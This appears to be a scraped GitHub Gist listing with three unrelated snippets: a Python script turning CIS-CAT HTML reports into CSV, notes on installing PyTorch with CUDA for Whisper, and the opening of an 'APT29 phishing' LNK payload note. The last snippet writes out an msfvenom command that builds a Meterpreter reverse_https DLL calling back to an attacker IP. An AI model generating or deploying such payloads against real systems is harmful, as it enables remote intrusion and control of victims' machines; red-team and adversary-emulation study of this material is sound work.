Skip to content

Instantly share code, notes, and snippets.

@refabr1k
refabr1k / ciscat_html_to_excel.py
Created November 28, 2023 12:54
ciscat html to excel - csv with "title, description, rationale, remediation"
from bs4 import BeautifulSoup
import csv
def extract_data_from_html(html_path):
with open(html_path, 'r', encoding='utf-8') as file:
html_content = file.read()
soup = BeautifulSoup(html_content, 'html.parser')
extracted_data = []
@refabr1k
refabr1k / setting_up_whisper_missing_fbgemm_dll.md
Last active August 16, 2024 02:06
openui-whisper installation (With Torch CUDA and dependies issue due to missing fbgemm.dll)

Setting up Torch with Cuda (if you have a nvidia gfx card)

  1. Install CUDA Toolkit -> you should install the CUDA version that PyTorch supports for example at this time, Version CUDA 12.4 is the latest. image

navigate to https://developer.nvidia.com/cuda-12-4-0-download-archive download and install the CUDA Toolkit version

  1. Check that CUDA Toolkit is installed > issue nvcc --version and observe from output that the installed cuda version is detected

Installing Torch

lnk payload (APT29 phishing) ds7002.lnk

image

Step 2: Generate and Obfuscate a Meterpreter DLL

# Generate a new Meterpreter DLL payload
msfvenom -p windows/x64/meterpreter/reverse_https -f dll LHOST=<YOUR ATTACKER IP ADDRESS> LPORT=443 -o meterpreter.dll